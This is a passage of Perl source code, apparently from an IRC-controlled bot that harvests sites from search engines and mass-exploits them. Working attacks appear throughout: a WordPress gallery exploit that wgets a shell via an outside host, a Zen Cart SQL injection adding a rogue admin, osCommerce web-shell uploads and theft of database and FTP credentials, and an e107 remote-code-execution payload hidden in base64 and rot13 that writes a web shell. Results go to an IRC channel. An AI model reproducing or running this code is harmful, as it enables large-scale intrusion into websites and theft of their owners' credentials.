  599. if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }
  600. if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }
  601. if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }
  602. if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }
  603. if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }
  604. if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }
  605. if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }
  606. if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }
  607. if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }
  608. if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }
  609. if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKES",$type); } exit; } }
  610. if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }
  611. if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }
  612. if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }
  613. if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKID",$type); } exit; } }
  614. if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }
  615. if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }
  616. if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }
  617. if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }
  618. if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }
  619. if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }
  620. if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }
  621. if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }
  622. if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }
  623. if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }
  624. if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }
  625. if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }
  626. if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }
  627. if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }
  628. if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }
  629. if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }
  630. if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }
  631. if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }
  632. if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }
  633. if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }
  634. if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }
  635. if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }
  636. if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }
  637. }
  638. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
  639. if ($gps2 ==1) {
  640. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }
  641. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
  642. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
  643. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
  644. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }
  645. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }
  646. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
  647. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
  648. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
  649. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }
  650. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
  651. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
  652. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
  653. }
  654. }
  655.  
  656.  
  657. ###### EXPLOITING #######
  658. sub rfg_exploit() {
  659. my $chan = $_[0];
  660. my $bugz = $_[1];
  661. my $simpan = $_[2];
  662. my $dork = $_[3];
  663. my $engine = $_[4];
  664. my $count = 0;
  665. my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$rfglogo);
  666. my $num = scalar(@totexploit);
  667. if ($num > 0){
  668. foreach my $site(@totexploit){
  669. $count++;
  670. if ($count == $num-1) { &msg("$chan","$rfglogo15$engine 9Finished 15for 9$dork "); }
  671. my $test = "http://garguritos.com/rfg.php?url=http://".$site;
  672. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  673. my $html = &get_content($test);
  674. my $vpath = "wp-content/plugins/radykal-fancy-gallery/admin/";
  675. if ($html =~ /<a href=\"http:\/\/(.*)$vpath(.*)\">Your shell/){
  676. my $vuln = $1; my $qr = $2;
  677. my $upl = "http://".$vuln.$vpath.$qr."wget%20".$thumbshell;
  678. my $crut = &get_content($upl);
  679. if ($crut =~ /3xploit/) {
  680. my $shell = "http://".$vuln.$vpath."bad.php";
  681. my $check = &get_content($shell);
  682. if ($check =~ /STUNSHELL/i){
  683. my $safe = ""; my $os = ""; my $uid = "";
  684. if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  685. if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  686. if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  687. &msg("$admin","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  688. &msg("$chan","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  689. } else {
  690. &msg("$chan","$rfglogo15$engine 9<4=9>9 VulN 9<4=9>9 http://".$vuln.$vpath.$qr."15 ");
  691. }
  692. }
  693. }
  694. } exit; }
  695. }
  696. }
  697. }
  698.  
  699. sub zen_exploit() {
  700. my $chan = $_[0];
  701. my $bug = $_[1];
  702. my $simpan = $_[2];
  703. my $dork = $_[3];
  704. my $engine = $_[4];
  705. my $count = 0;
  706. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
  707. my $num = scalar(@totexploit);
  708. if ($num > 0){
  709. foreach my $site(@totexploit){
  710. $count++;
  711. if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }
  712. my $test = "http://".$site.$bug;
  713. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  714. my $html = &get_content($test);
  715. if ($html =~ /zc_install/){
  716. &zen_query($chan,$site,$test,$engine);
  717. }
  718. } exit; }
  719. }
  720. }
  721. }
  722.  
  723. sub zen_query() {
  724. my $chan = $_[0];
  725. my $url = $_[1];
  726. my $test = $_[2];
  727. my $engine = $_[3];
  728. my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
  729. my $req = HTTP::Request->new(POST => $test);
  730. $req->content_type("application/x-www-form-urlencoded");
  731. $req->content("query_string=".$code);
  732. my $ua = LWP::UserAgent->new(agent => $uagent);
  733. $ua->timeout(3);
  734. my $res = $ua->request($req);
  735. my $data = $res->as_string;
  736. if ( $data =~ /1 statements processed/i ) {
  737. &msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  738. &msg("$admin","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
  739. }
  740. elsif ( $data =~ /Duplicate entry/i ) {
  741. &msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
  742. &msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
  743. }
  744. }
  745.  
  746. sub osco_exploit() {
  747. my $chan = $_[0];
  748. my $bug = $_[1];
  749. my $simpan = $_[2];
  750. my $dork = $_[3];
  751. my $engine = $_[4];
  752. my $count = 0;
  753. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo);
  754. my $num = scalar(@totexploit);
  755. if ($num > 0){
  756. foreach my $site(@totexploit){
  757. $count++;
  758. if ($count == $num-1) { &msg("$chan","$oscologo15$engine 9Finished 15for 9$dork "); }
  759. my $cat = "http://".$site."admin/categories.php/login.php";
  760. my $fm = "http://".$site."admin/file_manager.php/login.php";
  761. my $bm = "http://".$site."admin/banner_manager.php/login.php";
  762. my $shell = "http://".$site."images/lobex.php";
  763. my $dumper = "http://".$site."images/lobexdb.php";
  764. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  765. my $coba = &get_content($cat);sleep(1);
  766. my $cob2 = &get_content($fm);sleep(1);
  767. my $cob3 = &get_content($bm);sleep(1);
  768. if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
  769. my $test = $cat."?action=download&filename=/includes/configure.php";
  770. my $cek = &get_content($test);
  771. if ($cek =~ /http:\/\//) {
  772. &osql_xpl($test,$chan,$site,$engine);
  773. }
  774. my $aplod = LWP::UserAgent->new;
  775. my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string;
  776. my $resa = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa->as_string;
  777. my $cekap = &get_content($shell);
  778. if ($cekap =~ /UnKnown - Simple Shell/) {
  779. my $safe = ""; my $os = ""; my $uid = "";
  780. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  781. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  782. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  783. &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  784. &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  785. &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
  786. }
  787. }
  788. if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
  789. my $test2 = $fm."?action=download&filename=/includes/configure.php";
  790. my $cek2 = &get_content($test2);
  791. if ($cek2 =~ /http:\/\//) {
  792. &osql_xpl($test2,$chan,$site,$engine);
  793. }
  794. my $aplod2 = LWP::UserAgent->new;
  795. my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string;
  796. my $resb = $aplod2->post($fm."?action=processuploads",['file_1' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resb->as_string;
  797. my $cekap = &get_content($shell);
  798. if ($cekap =~ /UnKnown - Simple Shell/) {
  799. my $safe = ""; my $os = ""; my $uid = "";
  800. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  801. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  802. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  803. &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  804. &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  805. &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
  806. }
  807. }
  808. if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
  809. my $test3 = $bm."?action=download&filename=/includes/configure.php";
  810. my $cek3 = &get_content($test3);
  811. if ($cek3 =~ /http:\/\//) {
  812. &osql_xpl($test3,$chan,$site,$engine);
  813. }
  814. my $aplod3 = LWP::UserAgent->new;
  815. my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string;
  816. my $resc = $aplod3->post($bm."?action=insert",['banners_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resc->as_string;
  817. my $cekap = &get_content($shell);
  818. if ($cekap =~ /UnKnown - Simple Shell/) {
  819. my $safe = ""; my $os = ""; my $uid = "";
  820. if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  821. if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
  822. if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
  823. &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  824. &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
  825. &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
  826. }
  827. }
  828. } exit;
  829. }
  830. }
  831. }
  832. }
  833.  
  834. sub osql_xpl() {
  835. my $url = $_[0];
  836. my $chan = $_[1];
  837. my $site = $_[2];
  838. my $engine = $_[3];
  839. my $request = HTTP::Request->new(GET=>$url);
  840. my $browser = LWP::UserAgent->new();
  841. $browser->timeout(10);
  842. my $response = $browser->request($request);
  843. my @dbsinfo;
  844. if ($response->is_success) {
  845. my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = "";
  846. my $res = $response->as_string;
  847. if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
  848. $dpath = $1;
  849. &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DIR path: 4 $dpath");
  850. }
  851. if ($res =~ m/'DB_SERVER', '(.*)'/g) {
  852. $dbserver = $1;
  853. &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB Server: 4 $dbserver");
  854. }
  855. if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
  856. $dbuser = $1;
  857. &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB username: 4 $dbuser");
  858. }
  859. if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
  860. $dbpass = $1;
  861. &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB password: 4 $dbpass");
  862. }
  863. if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
  864. $dbname = $1;
  865. &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB database: 4 $dbname");
  866. }
  867. my $hosts = "http://".$site;
  868. if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  869. $host = $2;
  870. &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1);
  871. if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }
  872. &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1);
  873. }
  874. }
  875. }
  876.  
  877. sub e107_exploit() {
  878. my $chan = $_[0];
  879. my $bug = $_[1];
  880. my $simpan = $_[2];
  881. my $dork = $_[3];
  882. my $engine = $_[4];
  883. my $count = 0;
  884. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);
  885. my $num = scalar(@totexploit);
  886. if ($num > 0){
  887. foreach my $site(@totexploit){
  888. $count++;
  889. if ($count == $num-1) { &msg("$chan","$e107logo15$engine 9Finished 15for 9$dork "); }
  890. my $test = "http://".$site.$bug;
  891. my $shellz = "http://".$site."/images/lobex.php";
  892. my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  893. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  894. my $html = &e107_rce_query($test,$code);
  895. if ($html =~ /v0pCr3w<br>sys:(.+?)<br>nob0dyCr3w/) {
  896. my $sys = $1;
  897. my $upload = "";
  898. my $res = &e107_rce_query($test);
  899. if ($res =~ /lobexxx/) {
  900. my $check = &get_content($shellz);
  901. if ($check =~ /GIF89a/) {
  902. &msg("$chan","$e107logo15$engine 9<4=9>9 SheLL 9<4=9>9 $shellz ");sleep(2);
  903. }
  904. } else { &msg("$chan","$e107logo15$engine 9<4=9>15 System 9<4=9>9 $test 15($sys) ");sleep(2); }
  905. }
  906. } exit; }
  907. }
  908. }
  909. }
  910.  
  911. sub e107_rce_query() {
  912. my $url = $_[0];
  913. my $code = encode_base64('echo "lobexxx";')."JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVNNEVQNThWZndINCtzcXFSWkZPT2trRGhwcFRBaFVhQWZsbXZhK0FJcmN4SHE5SkdseE8yZDdpUDkrY0R2cHk3TExaTkpKVDFwMG5uUmVIbzhuWnorVXMyVjdXRVNsbU9DSjBsRjN2MzI4dlZLbEZES1J0QlJGTXo3MTk0MlJXcEMvdzVTaTJtSWxaQlRIdmY3MXJUY21uOG1EYXQ5aC8vUzB2ZFZ0Y1lycFIwZGNveER0QTZrMXAzQnJOSVRCMzlIZ0ZsOE9oemZKY2o4ZTRudmpjL3p6aG5zUS9UV0s0bTR5R3ZRY1lDeXlCU0F3eVFoTkVENVN3S0NwVTJyY2hEWjhlV0NLV1hXeG4wU0FmbkdjSlVhbzBqUEdwQkFaOVpiMUw0RjY5TlJGTkswazB3c0lINTllVWNsSS96eUNBUDJMQzN6OERDcmtpcjZDdWdhUVdscHlWbklJR1hSUDZmR0NrNEw2eTQ0ODk1MmNucDhQUUthNmRQcWdoWVFnM3lNTm9xditNRTBqRllUbFBoNExOYWFLeU44T1AwR05KVlZTZ1dvUnRpcmhYWHhXRk12UkoyWWtoS09aMXVWRXA5UG9CSW8xcmR6eDNnMktxWHlrcG9pNmd6dU93TnF6OGdvSjVxWkJlYXQrWk9UMUNhK0ViWUZyLzk0cXhDWitNemEvVk1OYkw4MEZwM054ek1Rb1JNbVVycytBRjU4TmJUZkQ1S0wzZEdkOWJSVnNhUTR5cWpSUTRRcG8zajhiWFZMWHczSFE3dys5K3dCcTV1VWU0M1plQWRROEswbVVPUTFneE0yRVZlb2thZmxwa1F2WWFRMzh3UEU1YmRQNEhMbnhBVU02RXdocU5kTTVQUm54UDdpWVpyU0hiMXM3aW5RMHo3c2Q1KzJPcGYwejNkUzBpWUNMcHRnL05Qd0ZwU0tIUnZ2NTBINEFhNEtEY3U0QWFqdmpKYmtGeHFTQ1VBK3hqd04xTlFFRDZLT3QwV0lIdVAzV0hDTWdRRE1WeTA4YnFVdkFJMUZMcGdnd21xNmMwNitkNjNLOUtaODVVVldJemJFbWxUM1M5bk9ZVnNWR0Rlc01sV1pWaHN5TXBmUE0zYlhVbU54UnRxcERkaWxZb1h6ajMvVTZuaDFWNjlveHZweGw2M2Z2SFJpSHBMcVNIQmxZQU9EbWhKL1c3R25hZVB1M1JkemQvWjhjZ1A1K2tqcVJrY3dEeVhHQkNyTlhRT2ticzFzUnNScUVHSis4THVpWktBckNzMVBBTHVOeXBaRmVsRFRFbW43UkdCbU5VSndXR2Q3MHh0VzRZQ3UvaTRQUkk4a3IrL3NCOEIxRzJZbHF2RXdwaFFPeUlZb3ExNnlFbDQ3RjdYSlJrNmJ5cGgzVHpYKzBNQ3BtVGpKbndXVjMyK2dZOUl0aGN5ekxLSytyU0s3MkRjQUUrTFhiektiNWlldWNoeTdhcTBoYzA3bHlINkgxSXRiaUd6VWQrK0RYT2crblp2T0FSSm9UcFU5YU5naXV5TnFIeDIycHJYaHJVTjYxRlhnVXUvVWN1VXl5bFhKeHpIbjdaV2dIYVUyMmpvWkdsd09rSit1d1dObDU0ZmpXZUNUeDdnRjBUbWtPQy9GVkV4ZWRjNGtCK04razZLSlpIQTAyNzdLYXdLYXBpL2tob1ZtM1lZODBSZ0ZpVnBxWnZmQ00zRTlURy82NFYwYjQ5d2QyTUFWZmg0UGxhR2VPOERGdHRyZnRoY2oxMERjcXd4MnhrdFhPSXJOaUxtQTFLeW1oWDVqU0N0NHNDNlYyNGEyVjJ5MGxYZCtDYzAySXBNUmFpb2tNRTZmQ2cvMzlhbFdLdVd4dGRQRXVsR0tTdDByMFFjTmZqOWwyWmJocFBwejhDdz09IikpKTsKJGZpY2hpZXIgPSBmb3BlbignLi9pbWFnZXMvbG9iZXgucGhwJywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTs=";
  914. my $req = HTTP::Request->new(POST => $url);
  915. $req->content_type('application/x-www-form-urlencoded');
  916. $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  917. my $ua = LWP::UserAgent->new(agent => $uagent);
  918. $ua->timeout(7);
  919. my $res = $ua->request($req);
  920. return $res->content;
  921. }
  922.  
  923. sub e107_spread_query() {
  924. my $url = $_[0];
